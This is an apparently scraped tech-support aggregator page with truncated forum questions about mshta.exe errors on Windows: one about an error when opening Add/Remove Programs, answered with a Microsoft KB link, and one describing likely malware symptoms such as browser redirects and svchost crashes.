C:\Program Files\IDT\WDM\sttr... Read more

Read other answers
RELEVANCY SCORE 36.8

When clicking on the add/remove programs icon in the control panel folder, the error "mshta.exe" shows up.
How do I fix this? I have windows 2000 SP4 installed.

Spencer
 

A:mshta.exe error

http://support.microsoft.com/default.aspx?scid=kb;EN-US;285195
 

Read other 1 answers
RELEVANCY SCORE 36.8

Hello,

I have been having several problems with my computer for the last several weeks. First, I have been having trouble with multiple instances of mshta.exe showing up in my task manager list. There have been as many as 2 dozen running at once.

I have also been having problems with IE redirecting any time I try to use Google and occasionally a popup for a random site comes up. It doesn't happen every time and I can usually hit the back button, then the stop and refresh buttons to view the site I was originally trying to get to.

I get error messages saying something like "svchost.exe Application Error: The instruction at "0x7c923845" [there are other numbers sometimes, but this is one I had written down] referenced memory at "0x00000000". The memory could not be "read"." This is usually accompanied by an error concerning a Generic Host Process that pops up. "Generic Host Process for Win32 Services has encountered an error and needs to close. We are sorry for the inconvenience." I wrote down the error signature the last time it happened, so please let me know if you need that info. This also varies, though.

My computer will randomly reboot at times, though that has stopped since I changed the setting in the system tab on the control panel so that it will not automatically reboot if it encounters a problem. I have run Microsoft Security Essentials, Ad-Aware, Malwarebytes, and SUPERAntispyware, all to no avail. Please h... Read more

A:mshta and other issues

Read other 16 answers